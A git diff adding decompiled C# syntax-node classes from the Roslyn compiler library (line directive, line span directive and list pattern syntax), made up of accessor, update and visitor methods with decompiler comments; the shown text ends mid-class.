b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectivePositionSyntax.cs new file mode 100644 index 0000000..f5f6657 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectivePositionSyntax.cs @@ -0,0 +1,121 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LineDirectivePositionSyntax : CSharpSyntaxNode +{ + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken Line => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)this).Green).line, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken CommaToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)this).Green).commaToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken Character => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)this).Green).character, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectivePositionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal LineDirectivePositionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineDirectivePosition(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineDirectivePosition(this); + } + + public LineDirectivePositionSyntax Update(SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || line != Line || commaToken != CommaToken || character != Character || closeParenToken != CloseParenToken) + { + LineDirectivePositionSyntax lineDirectivePositionSyntax = SyntaxFactory.LineDirectivePosition(openParenToken, line, commaToken, character, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return lineDirectivePositionSyntax; + } + return lineDirectivePositionSyntax.WithAnnotations(annotations); + } + return this; + } + + public LineDirectivePositionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Line, CommaToken, Character, CloseParenToken); + } + + public LineDirectivePositionSyntax WithLine(SyntaxToken line) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, line, CommaToken, Character, CloseParenToken); + } + + public LineDirectivePositionSyntax WithCommaToken(SyntaxToken commaToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Line, commaToken, Character, CloseParenToken); + } + + public LineDirectivePositionSyntax WithCharacter(SyntaxToken character) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Line, CommaToken, character, CloseParenToken); + } + + public LineDirectivePositionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Line, CommaToken, Character, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..6f96b50 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineDirectiveTriviaSyntax.cs @@ -0,0 +1,171 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LineDirectiveTriviaSyntax : LineOrSpanDirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public override SyntaxToken LineKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).lineKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken Line => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).line, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken File + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken file = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).file; + if (file == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)file, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal LineDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineDirectiveTrivia(this); + } + + public LineDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || lineKeyword != LineKeyword || line != Line || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LineDirectiveTriviaSyntax lineDirectiveTriviaSyntax = SyntaxFactory.LineDirectiveTrivia(hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return lineDirectiveTriviaSyntax; + } + return lineDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new LineDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, LineKeyword, Line, File, EndOfDirectiveToken, IsActive); + } + + internal override LineOrSpanDirectiveTriviaSyntax WithLineKeywordCore(SyntaxToken lineKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithLineKeyword(lineKeyword); + } + + public new LineDirectiveTriviaSyntax WithLineKeyword(SyntaxToken lineKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, lineKeyword, Line, File, EndOfDirectiveToken, IsActive); + } + + public LineDirectiveTriviaSyntax WithLine(SyntaxToken line) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, line, File, EndOfDirectiveToken, IsActive); + } + + internal override LineOrSpanDirectiveTriviaSyntax WithFileCore(SyntaxToken file) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithFile(file); + } + + public new LineDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Line, file, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new LineDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Line, File, endOfDirectiveToken, IsActive); + } + + public LineDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Line, File, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineOrSpanDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineOrSpanDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..ea41887 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineOrSpanDirectiveTriviaSyntax.cs @@ -0,0 +1,43 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class LineOrSpanDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public abstract SyntaxToken LineKeyword { get; } + + public abstract SyntaxToken File { get; } + + internal LineOrSpanDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public LineOrSpanDirectiveTriviaSyntax WithLineKeyword(SyntaxToken lineKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithLineKeywordCore(lineKeyword); + } + + internal abstract LineOrSpanDirectiveTriviaSyntax WithLineKeywordCore(SyntaxToken lineKeyword); + + public LineOrSpanDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithFileCore(file); + } + + internal abstract LineOrSpanDirectiveTriviaSyntax WithFileCore(SyntaxToken file); + + public new LineOrSpanDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (LineOrSpanDirectiveTriviaSyntax)WithHashTokenCore(hashToken); + } + + public new LineOrSpanDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (LineOrSpanDirectiveTriviaSyntax)WithEndOfDirectiveTokenCore(endOfDirectiveToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineSpanDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineSpanDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..cec1a27 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LineSpanDirectiveTriviaSyntax.cs @@ -0,0 +1,233 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LineSpanDirectiveTriviaSyntax : LineOrSpanDirectiveTriviaSyntax +{ + private LineDirectivePositionSyntax? start; + + private LineDirectivePositionSyntax? end; + + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public override SyntaxToken LineKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).lineKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public LineDirectivePositionSyntax Start => ((SyntaxNode)this).GetRed(ref start, 2); + + public SyntaxToken MinusToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).minusToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public LineDirectivePositionSyntax End => ((SyntaxNode)this).GetRed(ref end, 4); + + public SyntaxToken CharacterOffset + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken characterOffset = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).characterOffset; + if (characterOffset == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)characterOffset, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + } + } + + public override SyntaxToken File => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).file, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LineSpanDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal LineSpanDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => ((SyntaxNode)this).GetRed(ref start, 2), + 4 => ((SyntaxNode)this).GetRed(ref end, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => start, + 4 => end, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineSpanDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineSpanDirectiveTrivia(this); + } + + public LineSpanDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || lineKeyword != LineKeyword || start != Start || minusToken != MinusToken || end != End || characterOffset != CharacterOffset || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LineSpanDirectiveTriviaSyntax lineSpanDirectiveTriviaSyntax = SyntaxFactory.LineSpanDirectiveTrivia(hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return lineSpanDirectiveTriviaSyntax; + } + return lineSpanDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new LineSpanDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, LineKeyword, Start, MinusToken, End, CharacterOffset, File, EndOfDirectiveToken, IsActive); + } + + internal override LineOrSpanDirectiveTriviaSyntax WithLineKeywordCore(SyntaxToken lineKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithLineKeyword(lineKeyword); + } + + public new LineSpanDirectiveTriviaSyntax WithLineKeyword(SyntaxToken lineKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, lineKeyword, Start, MinusToken, End, CharacterOffset, File, EndOfDirectiveToken, IsActive); + } + + public LineSpanDirectiveTriviaSyntax WithStart(LineDirectivePositionSyntax start) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, start, MinusToken, End, CharacterOffset, File, EndOfDirectiveToken, IsActive); + } + + public LineSpanDirectiveTriviaSyntax WithMinusToken(SyntaxToken minusToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, minusToken, End, CharacterOffset, File, EndOfDirectiveToken, IsActive); + } + + public LineSpanDirectiveTriviaSyntax WithEnd(LineDirectivePositionSyntax end) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, MinusToken, end, CharacterOffset, File, EndOfDirectiveToken, IsActive); + } + + public LineSpanDirectiveTriviaSyntax WithCharacterOffset(SyntaxToken characterOffset) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, MinusToken, End, characterOffset, File, EndOfDirectiveToken, IsActive); + } + + internal override LineOrSpanDirectiveTriviaSyntax WithFileCore(SyntaxToken file) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithFile(file); + } + + public new LineSpanDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, MinusToken, End, CharacterOffset, file, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new LineSpanDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, MinusToken, End, CharacterOffset, File, endOfDirectiveToken, IsActive); + } + + public LineSpanDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LineKeyword, Start, MinusToken, End, CharacterOffset, File, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ListPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ListPatternSyntax.cs new file mode 100644 index 0000000..05f2a1d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ListPatternSyntax.cs @@ -0,0 +1,132 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ListPatternSyntax : PatternSyntax +{ + private SyntaxNode? patterns; + + private VariableDesignationSyntax? designation; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ListPatternSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Patterns + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown 